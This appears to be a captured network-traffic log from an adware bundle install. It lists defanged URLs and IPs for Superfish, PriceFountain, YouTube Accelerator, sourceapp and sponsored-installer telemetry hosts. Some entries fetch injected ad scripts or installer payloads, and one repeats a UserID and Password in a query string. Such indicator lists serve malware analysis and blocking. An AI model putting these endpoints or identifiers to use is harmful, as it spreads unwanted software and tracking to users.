hxxp://q.pricejs.info/e?type=quick&topic=pf_suzan_iframe_commonjs&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&rnd=0.6276737324109489&guid=	184.72.247.223
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg=	23.43.139.27
hxxp://j.pricejs.net/somopf/common.js?hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&channel=somopf&instgrp=20141204__1086__lnk_aromani_70	198.7.58.221
hxxp://www.superfish.com/ws/retargeting/server_layer.html?dlsource=viktczu&userid=0fa00a57-39e0-9484-3634-4f24bc9cabf7-0fb&CD_CTID=xUSiF17wJSsmtycl&version=2015.1.5.0.55&pageUrl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&merchantName=youtubeaccelerator.com&appDomain=http://www.superfish.com/ws/&browser=ie10&imageDomain=http://static*.superfish.com/images_np/shared/sys_v2/images/&country=UA&language=en&tier1_bucket=&tier1_curr_group=531&tier1_next_group=177&tier1_prev_group=685&tier2_bucket=2014w47_offer_cut_end&tier2_curr_group=212&tier2_next_group=386&tier2_prev_group=526
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=pricefountain&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=3&index_in_screen=1&index_in_session=3&0.799579113704163
hxxp://flex.msn.com/mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=AZwPyJy3TZihee7pGMSR6WixDL7TvdeX/grZOB60hz54E7mrr1h80v8gl1CzC7piUA7dl9owwhLw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQyzkqcReTLpR lWLUtT/Ob8PRD2wFYfQnRkoi1eHNkKrrXIxNf6X/p8Dnb/eih wEMOMPw026TAYAhwsRGINrugZP44vApXzbXUzDoEq0zofZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKgJ5WzhfrS/BOWVuT8tS7j2qAmByJT9TaRESNVjjSE 3flhl0ADTjQw==
hxxp://crl.microsoft.com/pki/crl/products/WinPCA.crl	87.245.202.48
hxxp://install-cdn.sourceapp.info/sd?is=sm
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=N6dOqWm8Q97B 4EkIHdGPxMjVK2p56w8eq10/GADmDD6npfW4udM4feRi8wRbTsZkmnCkuUBP1fxIejITcLjyv6vrlnR93yFOZepBrCxlI5QDt2X2jDCEvDhMTGyxHiH5Qsuno0J09RI381SZA6iXPexrYhFaidDoMXDwtYXLiCM6rj1sArpGYEOz PgVj0Lt7G/yXPW4uAmOrZFPj41hpR1VsvE9COl4L8jm4XJmBX6ED4cJ8XDJx/HJguNH6PJvi6UhUk8Si9pYw/SXL9kUczLWAmUEClrB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZ3jd05TL7uAUsXsbAzBWHYNP54lXZxmkqdkWCIrBlg7wHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO/lYvgsEKFKIs4/ZfIGmnkI
hxxp://www.youtubeaccelerator.com/img/youtube-accelerator-logo.png
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1420623208&SBPIDS=1
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjz3HjAX5f3MvAhSGeG7OvN9JDpDz//pXKODQ8kqa2OFucXyuYdOQyoUg6LfIDXFhBiCHLDEUg0E9NWyUH5fcWODaiKJWrVJK1sy5tT6J5DzobaSCh4sqi9FESmXNcHmbB94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsMWZgjkQr7xlWehjSxYG/On9ufCjUouKMihexdHkHf0wrKMMG5pH3Yg==
hxxp://install.sourceapp.info/mg?alpha=ADkjEnNEfWUzOU5xDDh8AX1wH3MAfyFjdHRRI1gbA25iDH9dQT5gb3cPIhwgVVw7RQ50Rj8YMxpLB0tjEzEZHwZ4bj9deFARQzZrVi9y
hxxp://www.superfish.com/ws/slideup2/main.js?ver=2015.1.5.0.55
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=sourceapp_network&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=2&index_in_screen=1&index_in_session=2&0.7231817516841886
hxxp://q.pricejs.info/e?type=quick&topic=pf_suzan_iframe_commonjs&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&rnd=0.20595239031099377&guid=	184.72.247.223
hxxp://i.pricejs.info/somopf/javascript.js?channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&instgrp=20141204__1086__lnk_aromani_70&trinity=Z15d7t64614c
hxxp://xs3hgr0g-l8bu4n1j.netdna-ssl.com/api/geo?callback=Beat1110021684825445448025_1420623259121&_=1420623259122	198.232.124.192
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?b4f4f5e2075a9e10
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=sourceapp_network&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.9210836118111476
hxxp://q.pricejs.info/e?type=quick&topic=pf_suzan_commonjs&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&rnd=0.6108539702585893&guid=	184.72.247.223
hxxp://5k9v3bc1-enehfzfv.netdna-ssl.com/app/t.ashx?uid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDkyYThhZDQ2LWJjOGQtNGZkMi05YWU4LTg1YjU0MTVlOWVlYywmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTgzJkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1420623258&aff=JSsmtycl&ver=2.0.7791.1462	198.232.124.192
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjzdiNKneBtxMbw23K9mQlgxQC drCF7eFKCrVyEloleJRxtw Ud1eTtGv 8p9Zv7Rndz90qskgG9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqAnlbOF tL8E5ZW5Py1LuPaoCYHIlP1NpERI1WONIT7d WGXQANOND
hxxp://www.superfish.com/ws/js/base_single_icon.js?ver=2015.1.5.0.55
hxxp://c.sbitinjs.info/-889787909.js?dn=youtubeaccelerator.com&isc=0
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=1&index_in_screen=1&index_in_session=1&0.5528655403810864
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=mystartsearch&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=4&index_in_screen=1&index_in_session=4&display_height=50&0.4793697933256762
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjxQEru0RuuZR0qbfRkh1l0EPUrOSlnidUd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNsLyJ aniWV2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2toTYm7KkeYVwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO jAMKE4RKWKw==
hxxp://www.youtubeaccelerator.com/googleanalytics.js
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1420623188&SBPIDS=1
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=mystartsearch&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=4&index_in_screen=1&index_in_session=4&0.8198936694568728
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=AZwPyJy3TZiu PbZ6jHEZsxndPpeZYzTNMDcfItnUR6MDmRWpWBZ0CAvELRpepitKPuMdH9xkPFYS5k6/5B5fCNlNxI8BU1c4u3oGHN86wOx2KlVs8m8LqSlVGmgAnwDCNiNeNKIpAKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf
hxxp://www.superfish.com/ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.1.5.0.55
hxxp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl	87.245.202.48
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjXMxgqnmmqSQoETtCpwnRwgjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lx0fofCQUPI9Ti1p16ZP0eRrlf3Z bjvtKS13pkoDd7gxvWvwyq qsQ==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjz3HjAX5f3Mu6QVkhmBNubY4G r 3F6T7ABG3Yhoda6vFX/vPL/gxF8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfVKbzqI7vizYNqIolatUkrWzLm1PonkPOhtpIKHiyqL0Cj/mQ03Cr2g=
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=wlkQ3WKgYpSt /KxvF2yajEiF/BdfS3E62ls PLHCLDT03ZwnpMmri4u 59fITlqtmv4OlaXDlF0H0/8fBpMfmCdwiLZyE1Pd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKj7V3xr167ha9OaRAG32pN1uUcMgmj4Ul e6MXHIbc0WyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEeNK5GwXtY6vrCFJaRRqFgPquySuQ1vEwsvfqpUUJvug6Za8CAYbd2XSHtaKquqIZQzS4bdFaZObf28R4ggYpEA=
hxxp://www.youtubeaccelerator.com/styles/yta.css?v=1
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=HW4rWVRtARiyUxg71rJbZjvkj3L/PNVa1VMaOJFqXYpp96vRIJy/LjtUHaZBOE lXkiVCkpcmtxTi1p16ZP0eRrlf3Z bjvtKS13pkoDd7gxvWvwyq qsXwF8xC533FcNLVXkHqu5mvqdIulg hEfdcOs/PoB3/p1QHs3X92ilHXt7qcDfFhJwTxIUcsgQ wMnmKw3amnGsFR75 TIbsOWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSoCeVs4X60vwTllbk/LUu49qgJgciU/U2kREjVY40hPt35YZdAA040M=
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=
hxxp://q.pricejs.info/dealdo/event-report?instgrp=20141204__1086__lnk_aromani_70&type=quick&topic=suzan_wdrun&partner=somopf&channel=somopf&ver=1086&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=abddccbb-b7f2-4fa1-9571-e21f54ce647e	184.72.247.223
hxxp://cdn.bisrv.com/sponsored/pricefountain/pricefountain.png
hxxp://dsba220j59f4d.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html	54.192.47.56
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=xY8ohDYpM h6gEVzoYeGJ8xndPpeZYzTNMDcfItnUR6MDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqoEgEEv94CeHXagai3QxCFNgKkdlz1lRoVNSQ3lQpjLdBPEhRyyBD7DFByCWgHBKYypAG YHgGRxeG5e2JE3Nzo2HdAkQAtbdDfrzKQ1K pHlyrNiUJP46mrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUy2X6vNXTV2eMll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PH/YlhRdgav1g
hxxp://q.pricejs.info/dealdo/event-report?instgrp=20141204__1086__lnk_aromani_70&rand=765184&opdom=pricejs.net&type=quick&topic=suzan_exestrt&partner=somopf&channel=somopf&ver=1086&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=abddccbb-b7f2-4fa1-9571-e21f54ce647e	184.72.247.223
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjnisgFVrwdvblBb58xFAMOt6D9UJmzeHXJOIAnSEbDsx0eh4F9DwOExoWNAP4OWMIxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9UpvOoju LNg2oiiVq1SStbMubU ieQ86G2kgoeLKovQKP ZDTcKvaA==
hxxp://www.youtubeaccelerator.com/js/jquery-1.8.3.min.js
hxxp://www.superfish.com/ws/sf_code.jsp?dlsource=viktczu&userid=0fa00a57-39e0-9484-3634-4f24bc9cabf7-0fb&partnername=pelmmbomol&CTID=xUSiF17wJSsmtycl&ver=2015.1.5.0.55
hxxp://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js
hxxp://crl.geotrust.com/crls/secureca.crl	23.43.133.163
hxxp://www.googleadservices.com/pagead/conversion/971163981/?random=1420623259291&cv=7&fst=1420623259291&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&vis=1
hxxp://www.superfish.com/ws/getSupportedSitesJSON.action?ver=14.11.12.1&callback=SF_isURISupported
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=pricefountain&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=3&index_in_screen=1&index_in_session=3&0.015374429884770502
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=1&index_in_screen=1&index_in_session=1&0.003470828578251539
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1420623257&SBPIDS=1
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=1&index_in_screen=1&index_in_session=1&0.6772226359574376
hxxp://install.sourceapp.info/ii?alpha=DStEDx4eGiQOU000ayURDG8XAh4Nd0gnEzgYUB5bX3cOSFsYWicmNU06DXgPESsYHDdPJH4AXhEsEE0ICWA4CHZjIQQQGlphC0lGMHpdIkEPNgcPVFh5HHQcfUdOOQcNZxAQE1xKQAsFe3RQC0YiIENbFgQvIg9aZVgQVR5VODUMfiUkBBMZWWlSC1VxLCxhFE00QFhUT3tHAVwkSB8YSksmR1tOTgMRLwJNNj4ETlEjQURrD10qE10XKBdSHl8rZ3M3MCRjcA4DNBZDCyQmVThCG2gFHV4LKBVuTCIBUBJBTS9aFGYBBAYmM1A/HBkoCGMVBSVOTS0dPFNyQwZLSydnUTk/OXgDCBoiEEkSLnUiawxJKUNARR0uEGNdLgcAFFFealhISANHTmlxEWlOVgwNbB8Nb3gDfVEFUnUFS21WJ3xaPHNKQkJcCTRLHBU3JjZ3Qk13TxdUSmgceh5nREZPFFYrFRkbUlJEc3UJY1oIRVE8S11mGwluADpsakQRXRRuXnIvMmtTA34FNRZPGi07UXF/PFQ7TjZCbUpjai4DHx5XHS9GShZZQQ50cTlnbFY6Dm8=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjk0XByrlXk6UsXzCYJGHkaymF904v4t2Dm/O2qbWSzQzF5mlVsbpBVmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSoCeVs4X60vwTllbk/LUu49qgJgciU/U2kREjVY40hPt35YZdAA040M=
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=hWfaA75NtHH85nz5m58wW2lBVeUjsyYp69ciWx3pcgm9gdZ7vVVoir9hXn5fpF0A/EmjUQkbJhH56Z3csCJxKxjG8uFQJiyiY2Da1UJrhtidskpjA9 6EEBiJWCtklQEQKd0GEgkafn7qIsw5K9Cdia/NXxeys6V4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX1KbzqI7vizYNqIolatUkrWzLm1PonkPOhtpIKHiyqL0a2Gt2Eq/S//H/jy8G4FGJY4SiD403Los	54.197.238.106
hxxp://www.google-analytics.com/ga.js
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=pricefountain&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=3&index_in_screen=1&index_in_session=3&display_height=137&0.3536755147517152
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=sourceapp_network&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=2&index_in_screen=1&index_in_session=2&0.4373879245528029
hxxp://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE
hxxp://bi.bisrv.com/installer/ajax
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=hWfaA75NtHH85nz5m58wW2lBVeUjsyYp69ciWx3pcgm9gdZ7vVVoir9hXn5fpF0A/EmjUQkbJhH56Z3csCJxKxjG8uFQJiyiY2Da1UJrhtiTRcHKuVeTpeVdCR9NLnB0e3edDIJy/8qNY4DQB5 LV7n0SGxs2Tic95lwett3Vo9Sm86iO74s2DaiKJWrVJK1sy5tT6J5DzobaSCh4sqi9NZXqiTUzAU33Ih1Kfu IMR1mAEZr2jgd4ITH/ICkfqy8JjKZLgwFzG/wC513n 0HRZRXx49nRJ1TcWL70UkzVrp4nRJFoUZgqmZqNAnWmvDFlFfHj2dEnXOu4xvnbO4b dZEqrqnEnHqrJOcCBCplVg8smq5m/rppX wpBXA2YnfYWeTugkIGZ XTIrvDDxtHhbCpftK4kGTllbk/LUu49qgJgciU/U2kREjVY40hPt5Jr/XkhzzZ3f3JToCsKtOYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVfh En78PF1o4yWX8hHfz7AAJy7SgRMsWbkZddSrlEwgXRnhKwsbQ8fgLtsWFlLR0rAHl6w3H159Q==	54.197.238.106
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk=
hxxp://q.pricejs.info/dealdo/event-report?type=quick&topic=suzan_instend&instgrp=20141204__1086__lnk_aromani_70&ver=1086&partner=somopf&channel=somopf&installId=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=abddccbb-b7f2-4fa1-9571-e21f54ce647e&cb=764701&existingVer=&existingPartner=&existingChannel=&slug=pricefountain&default_browser=1&ieVer=31302e302e393230302e3136353231&firefoxVer=32392e302e312028656e2d555329&chromeVer=33352e302e313931362e313533&operaVer=&winVer=362e31&cmd=2f6d757365202f706172746e65723d736f6d6f7066&ieproc=0&ffproc=0&chproc=0	184.72.247.223
hxxp://flex.msn.com/mstag/mstag.1003102000.js
hxxp://www.superfish.com/ws/side_slider/main.js?ver=2015.1.5.0.55
hxxp://install.sourceapp.info/mg?alpha=ADkjEnMScG9maQkwDDh8P3BhAXZeKicuM3s0fhUtVT0ORDZDBnRpGgB9PRxWWSk7TwYIS1AUQ2lLb0ZnDB9CEAQaMhMGd1cRQBIgamoMKHxCJSVDLxY8dnNzdlchTW8GaH8ZdlVFI3kdAns/FCJcLyZHDwBZFFM8X2IyTyBUegJDCG47awt1W2AzHSR9M1V9e0UhMx5pGz9gOy0lWiBlLRofK2Uq
hxxp://www.superfish.com/ws/tu.action?userId=0fa00a57-39e0-9484-3634-4f24bc9cabf7-0fb&referrer=&page_url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE
